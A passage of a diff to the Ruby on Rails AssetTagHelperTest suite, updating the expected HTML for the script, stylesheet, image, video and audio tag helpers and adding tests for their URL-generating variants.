-    %(javascript_include_tag(:defaults, "bank")) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
-    %(javascript_include_tag(:defaults, "application")) => %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
-    %(javascript_include_tag("bank", :defaults)) => %(<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
-
-    %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all" type="text/javascript"></script>),
-    %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js" type="text/javascript"></script>),
-    %(javascript_include_tag("//example.com/all.js")) => %(<script src="//example.com/all.js" type="text/javascript"></script>),
+    %(javascript_include_tag("bank")) => %(<script src="/javascripts/bank.js" ></script>),
+    %(javascript_include_tag("bank.js")) => %(<script src="/javascripts/bank.js" ></script>),
+    %(javascript_include_tag("bank", :lang => "vbscript")) => %(<script lang="vbscript" src="/javascripts/bank.js" ></script>),
+    %(javascript_include_tag("common.javascript", "/elsewhere/cools")) => %(<script src="/javascripts/common.javascript" ></script>\n<script src="/elsewhere/cools.js" ></script>),
+    %(javascript_include_tag(:defaults)) => %(<script src="/javascripts/prototype.js" ></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/application.js"></script>),
+    %(javascript_include_tag(:all)) => %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/version.1.0.js"></script>\n<script src="/javascripts/application.js"></script>),
+    %(javascript_include_tag(:all, :recursive => true)) => %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/subdir/subdir.js"></script>\n<script src="/javascripts/version.1.0.js"></script>\n<script src="/javascripts/application.js"></script>),
+    %(javascript_include_tag(:defaults, "bank")) => %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/application.js"></script>),
+    %(javascript_include_tag(:defaults, "application")) => %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/application.js"></script>),
+    %(javascript_include_tag("bank", :defaults)) => %(<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/application.js"></script>),
+
+    %(javascript_include_tag("http://example.com/all")) => %(<script src="http://example.com/all"></script>),
+    %(javascript_include_tag("http://example.com/all.js")) => %(<script src="http://example.com/all.js"></script>),
+    %(javascript_include_tag("//example.com/all.js")) => %(<script src="//example.com/all.js"></script>),
   }
 
   StylePathToTag = {
@@ -119,20 +132,34 @@ class AssetTagHelperTest < ActionView::TestCase
     %(path_to_stylesheet('/dir/file.rcss')) => %(/dir/file.rcss)
   }
 
+  StyleUrlToTag = {
+    %(stylesheet_url("bank")) => %(http://www.example.com/stylesheets/bank.css),
+    %(stylesheet_url("bank.css")) => %(http://www.example.com/stylesheets/bank.css),
+    %(stylesheet_url('subdir/subdir')) => %(http://www.example.com/stylesheets/subdir/subdir.css),
+    %(stylesheet_url('/subdir/subdir.css')) => %(http://www.example.com/subdir/subdir.css)
+  }
+
+  UrlToStyleToTag = {
+    %(url_to_stylesheet("style")) => %(http://www.example.com/stylesheets/style.css),
+    %(url_to_stylesheet("style.css")) => %(http://www.example.com/stylesheets/style.css),
+    %(url_to_stylesheet('dir/file')) => %(http://www.example.com/stylesheets/dir/file.css),
+    %(url_to_stylesheet('/dir/file.rcss')) => %(http://www.example.com/dir/file.rcss)
+  }
+
   StyleLinkToTag = {
-    %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag(:all)) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag(:all, :recursive => true)) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag(:all, :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="all" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/version.1.0.css" media="all" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("random.styles", "/elsewhere/file")) => %(<link href="/stylesheets/random.styles" media="screen" rel="stylesheet" type="text/css" />\n<link href="/elsewhere/file.css" media="screen" rel="stylesheet" type="text/css" />),
-
-    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" type="text/css" />),
-    %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" type="text/css" />),
+    %(stylesheet_link_tag("bank")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank.css")) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("/elsewhere/file")) => %(<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("subdir/subdir")) => %(<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("bank", :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />),
+    %(stylesheet_link_tag(:all)) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag(:all, :recursive => true)) => %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag(:all, :media => "all")) => %(<link href="/stylesheets/bank.css" media="all" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="all" rel="stylesheet" />\n<link href="/stylesheets/version.1.0.css" media="all" rel="stylesheet" />),
+    %(stylesheet_link_tag("random.styles", "/elsewhere/file")) => %(<link href="/stylesheets/random.styles" media="screen" rel="stylesheet" />\n<link href="/elsewhere/file.css" media="screen" rel="stylesheet" />),
+
+    %(stylesheet_link_tag("http://www.example.com/styles/style")) => %(<link href="http://www.example.com/styles/style" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("http://www.example.com/styles/style.css")) => %(<link href="http://www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
+    %(stylesheet_link_tag("//www.example.com/styles/style.css")) => %(<link href="//www.example.com/styles/style.css" media="screen" rel="stylesheet" />),
   }
 
   ImagePathToTag = {
@@ -149,6 +176,20 @@ class AssetTagHelperTest < ActionView::TestCase
     %(path_to_image("/dir/xml.png")) => %(/dir/xml.png)
   }
 
+  ImageUrlToTag = {
+    %(image_url("xml"))          => %(http://www.example.com/images/xml),
+    %(image_url("xml.png"))      => %(http://www.example.com/images/xml.png),
+    %(image_url("dir/xml.png"))  => %(http://www.example.com/images/dir/xml.png),
+    %(image_url("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+  }
+
+  UrlToImageToTag = {
+    %(url_to_image("xml"))          => %(http://www.example.com/images/xml),
+    %(url_to_image("xml.png"))      => %(http://www.example.com/images/xml.png),
+    %(url_to_image("dir/xml.png"))  => %(http://www.example.com/images/dir/xml.png),
+    %(url_to_image("/dir/xml.png")) => %(http://www.example.com/dir/xml.png)
+  }
+
   ImageLinkToTag = {
     %(image_tag("xml.png")) => %(<img alt="Xml" src="/images/xml.png" />),
     %(image_tag("rss.gif", :alt => "rss syndication")) => %(<img alt="rss syndication" src="/images/rss.gif" />),
@@ -162,13 +203,13 @@ class AssetTagHelperTest < ActionView::TestCase
     %(image_tag(".pdf.png")) => %(<img alt=".pdf" src="/images/.pdf.png" />),
     %(image_tag("http://www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="http://www.rubyonrails.com/images/rails.png" />),
     %(image_tag("//www.rubyonrails.com/images/rails.png")) => %(<img alt="Rails" src="//www.rubyonrails.com/images/rails.png" />),
-    %(image_tag("mouse.png", :mouseover => "/images/mouse_over.png")) => %(<img alt="Mouse" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" src="/images/mouse.png" />),
-    %(image_tag("mouse.png", :mouseover => image_path("mouse_over.png"))) => %(<img alt="Mouse" onmouseover="this.src='/images/mouse_over.png'" onmouseout="this.src='/images/mouse.png'" src="/images/mouse.png" />),
-    %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />)
+    %(image_tag("mouse.png", :alt => nil)) => %(<img src="/images/mouse.png" />),
+    %(image_tag("data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==", :alt => nil)) => %(<img src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" />),
+    %(image_tag("")) => %(<img src="" />)
   }
 
   FaviconLinkToTag = {
-    %(favicon_link_tag) => %(<link href="/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
+    %(favicon_link_tag) => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
     %(favicon_link_tag 'favicon.ico') => %(<link href="/images/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />),
     %(favicon_link_tag 'favicon.ico', :rel => 'foo') => %(<link href="/images/favicon.ico" rel="foo" type="image/vnd.microsoft.icon" />),
     %(favicon_link_tag 'favicon.ico', :rel => 'foo', :type => 'bar') => %(<link href="/images/favicon.ico" rel="foo" type="bar" />),
@@ -189,23 +230,38 @@ class AssetTagHelperTest < ActionView::TestCase
     %(path_to_video("/dir/xml.ogg")) => %(/dir/xml.ogg)
   }
 
+  VideoUrlToTag = {
+    %(video_url("xml"))          => %(http://www.example.com/videos/xml),
+    %(video_url("xml.ogg"))      => %(http://www.example.com/videos/xml.ogg),
+    %(video_url("dir/xml.ogg"))  => %(http://www.example.com/videos/dir/xml.ogg),
+    %(video_url("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+  }
+
+  UrlToVideoToTag = {
+    %(url_to_video("xml"))          => %(http://www.example.com/videos/xml),
+    %(url_to_video("xml.ogg"))      => %(http://www.example.com/videos/xml.ogg),
+    %(url_to_video("dir/xml.ogg"))  => %(http://www.example.com/videos/dir/xml.ogg),
+    %(url_to_video("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+  }
+
   VideoLinkToTag = {
-    %(video_tag("xml.ogg")) => %(<video src="/videos/xml.ogg" />),
-    %(video_tag("rss.m4v", :autoplay => true, :controls => true)) => %(<video autoplay="autoplay" controls="controls" src="/videos/rss.m4v" />),
-    %(video_tag("rss.m4v", :autobuffer => true)) => %(<video autobuffer="autobuffer" src="/videos/rss.m4v" />),
-    %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160" />),
-    %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320" />),
-    %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg" />),
-    %(video_tag("error.avi", "size" => "100")) => %(<video src="/videos/error.avi" />),
-    %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi" />),
-    %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi" />),
-    %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov" />),
-    %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov" />),
-    %(video_tag(["multiple.ogg", "multiple.avi"])) => %(<video><source src="multiple.ogg" /><source src="multiple.avi" /></video>),
-    %(video_tag(["multiple.ogg", "multiple.avi"], :size => "160x120", :controls => true)) => %(<video controls="controls" height="120" width="160"><source src="multiple.ogg" /><source src="multiple.avi" /></video>)
+    %(video_tag("xml.ogg")) => %(<video src="/videos/xml.ogg"></video>),
+    %(video_tag("rss.m4v", :autoplay => true, :controls => true)) => %(<video autoplay="autoplay" controls="controls" src="/videos/rss.m4v"></video>),
+    %(video_tag("rss.m4v", :autobuffer => true)) => %(<video autobuffer="autobuffer" src="/videos/rss.m4v"></video>),
+    %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
+    %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
+    %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
+    %(video_tag("error.avi", "size" => "100")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
+    %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+    %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+    %(video_tag("multiple.ogg", "multiple.avi")) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+    %(video_tag(["multiple.ogg", "multiple.avi"])) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+    %(video_tag(["multiple.ogg", "multiple.avi"], :size => "160x120", :controls => true)) => %(<video controls="controls" height="120" width="160"><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>)
   }
 
- AudioPathToTag = {
+  AudioPathToTag = {
     %(audio_path("xml"))          => %(/audios/xml),
     %(audio_path("xml.wav"))      => %(/audios/xml.wav),
     %(audio_path("dir/xml.wav"))  => %(/audios/dir/xml.wav),
@@ -219,11 +275,28 @@ class AssetTagHelperTest < ActionView::TestCase
     %(path_to_audio("/dir/xml.wav")) => %(/dir/xml.wav)
   }
 
+  AudioUrlToTag = {
+    %(audio_url("xml"))          => %(http://www.example.com/audios/xml),
+    %(audio_url("xml.wav"))      => %(http://www.example.com/audios/xml.wav),
+    %(audio_url("dir/xml.wav"))  => %(http://www.example.com/audios/dir/xml.wav),
+    %(audio_url("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+  }
+
+  UrlToAudioToTag = {
+    %(url_to_audio("xml"))          => %(http://www.example.com/audios/xml),
+    %(url_to_audio("xml.wav"))      => %(http://www.example.com/audios/xml.wav),
+    %(url_to_audio("dir/xml.wav"))  => %(http://www.example.com/audios/dir/xml.wav),
+    %(url_to_audio("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+  }
+
   AudioLinkToTag = {
-    %(audio_tag("xml.wav")) => %(<audio src="/audios/xml.wav" />),
-    %(audio_tag("rss.wav", :autoplay => true, :controls => true)) => %(<audio autoplay="autoplay" controls="controls" src="/audios/rss.wav" />),
-    %(audio_tag("http://media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="http://media.rubyonrails.org/audio/rails_blog_2.mov" />),
-    %(audio_tag("//media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="//media.rubyonrails.org/audio/rails_blog_2.mov" />),
+    %(audio_tag("xml.wav")) => %(<audio src="/audios/xml.wav"></audio>),
+    %(audio_tag("rss.wav", :autoplay => true, :controls => true)) => %(<audio autoplay="autoplay" controls="controls" src="/audios/rss.wav"></audio>),
+    %(audio_tag("http://media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="http://media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+    %(audio_tag("//media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="//media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+    %(audio_tag("audio.mp3", "audio.ogg")) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+    %(audio_tag(["audio.mp3", "audio.ogg"])) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+    %(audio_tag(["audio.mp3", "audio.ogg"], :autobuffer => true, :controls => true)) => %(<audio autobuffer="autobuffer" controls="controls"><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>)
   }
 
   def test_auto_discovery_link_tag
@@ -238,6 +311,14 @@ class AssetTagHelperTest < ActionView::TestCase
     PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_javascript_url
+    JavascriptUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_javascript_alias_for_javascript_url
+    UrlToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
   def test_javascript_include_tag_with_blank_asset_id
     ENV["RAILS_ASSET_ID"] = ""
     JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
@@ -259,7 +340,7 @@ class AssetTagHelperTest < ActionView::TestCase
 
   def test_javascript_include_tag_with_given_asset_id
     ENV["RAILS_ASSET_ID"] = "1"
-    assert_dom_equal(%(<script src="/javascripts/prototype.js?1" type="text/javascript"></script>\n<script src="/javascripts/effects.js?1" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js?1" type="text/javascript"></script>\n<script src="/javascripts/controls.js?1" type="text/javascript"></script>\n<script src="/javascripts/rails.js?1" type="text/javascript"></script>\n<script src="/javascripts/application.js?1" type="text/javascript"></script>), javascript_include_tag(:defaults))
+    assert_dom_equal(%(<script src="/javascripts/prototype.js?1"></script>\n<script src="/javascripts/effects.js?1"></script>\n<script src="/javascripts/dragdrop.js?1"></script>\n<script src="/javascripts/controls.js?1"></script>\n<script src="/javascripts/rails.js?1"></script>\n<script src="/javascripts/application.js?1"></script>), javascript_include_tag(:defaults))
   end
 
   def test_javascript_include_tag_is_html_safe
@@ -270,35 +351,35 @@ class AssetTagHelperTest < ActionView::TestCase
   def test_custom_javascript_expansions
     ENV["RAILS_ASSET_ID"] = ""
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :robbery => ["bank", "robber"]
-    assert_dom_equal  %(<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>), javascript_include_tag('controls', :robbery, 'effects')
+    assert_dom_equal  %(<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/effects.js"></script>), javascript_include_tag('controls', :robbery, 'effects')
   end
 
   def test_custom_javascript_expansions_return_unique_set
     ENV["RAILS_ASSET_ID"] = ""
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :defaults => %w(prototype effects dragdrop controls rails application)
-    assert_dom_equal  %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag(:defaults)
+    assert_dom_equal  %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/application.js"></script>), javascript_include_tag(:defaults)
   end
 
   def test_custom_javascript_expansions_and_defaults_puts_application_js_at_the_end
     ENV["RAILS_ASSET_ID"] = ""
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :robbery => ["bank", "robber"]
-    assert_dom_equal  %(<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag('controls',:defaults, :robbery, 'effects')
+    assert_dom_equal  %(<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/application.js"></script>), javascript_include_tag('controls',:defaults, :robbery, 'effects')
   end
 
   def test_javascript_include_tag_should_not_output_the_same_asset_twice
     ENV["RAILS_ASSET_ID"] = ""
-    assert_dom_equal  %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag('prototype', 'effects', :defaults)
+    assert_dom_equal  %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/application.js"></script>), javascript_include_tag('prototype', 'effects', :defaults)
   end
 
   def test_javascript_include_tag_should_not_output_the_same_expansion_twice
     ENV["RAILS_ASSET_ID"] = ""
-    assert_dom_equal  %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag(:defaults, :defaults)
+    assert_dom_equal  %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/application.js"></script>), javascript_include_tag(:defaults, :defaults)
   end
 
   def test_single_javascript_asset_keys_should_take_precedence_over_expansions
     ENV["RAILS_ASSET_ID"] = ""
-    assert_dom_equal  %(<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag('controls', :defaults, 'effects')
-    assert_dom_equal  %(<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/rails.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>), javascript_include_tag('controls', 'effects', :defaults)
+    assert_dom_equal  %(<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/application.js"></script>), javascript_include_tag('controls', :defaults, 'effects')
+    assert_dom_equal  %(<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/rails.js"></script>\n<script src="/javascripts/application.js"></script>), javascript_include_tag('controls', 'effects', :defaults)
   end
 
   def test_registering_javascript_expansions_merges_with_existing_expansions
@@ -306,7 +387,7 @@ class AssetTagHelperTest < ActionView::TestCase
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :can_merge => ['bank']
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :can_merge => ['robber']
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :can_merge => ['bank']
-    assert_dom_equal  %(<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>), javascript_include_tag(:can_merge)
+    assert_dom_equal  %(<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>), javascript_include_tag(:can_merge)
   end
 
   def test_custom_javascript_expansions_with_undefined_symbol
@@ -315,20 +396,20 @@ class AssetTagHelperTest < ActionView::TestCase
 
   def test_custom_javascript_expansions_with_nil_value
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :monkey => nil
-    assert_dom_equal  %(<script src="/javascripts/first.js" type="text/javascript"></script>\n<script src="/javascripts/last.js" type="text/javascript"></script>), javascript_include_tag('first', :monkey, 'last')
+    assert_dom_equal  %(<script src="/javascripts/first.js"></script>\n<script src="/javascripts/last.js"></script>), javascript_include_tag('first', :monkey, 'last')
   end
 
   def test_custom_javascript_expansions_with_empty_array_value
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :monkey => []
-    assert_dom_equal  %(<script src="/javascripts/first.js" type="text/javascript"></script>\n<script src="/javascripts/last.js" type="text/javascript"></script>), javascript_include_tag('first', :monkey, 'last')
+    assert_dom_equal  %(<script src="/javascripts/first.js"></script>\n<script src="/javascripts/last.js"></script>), javascript_include_tag('first', :monkey, 'last')
   end
 
   def test_custom_javascript_and_stylesheet_expansion_with_same_name
     ENV["RAILS_ASSET_ID"] = ""
     ActionView::Helpers::AssetTagHelper::register_javascript_expansion :robbery => ["bank", "robber"]
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :robbery => ["money", "security"]
-    assert_dom_equal  %(<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>), javascript_include_tag('controls', :robbery, 'effects')
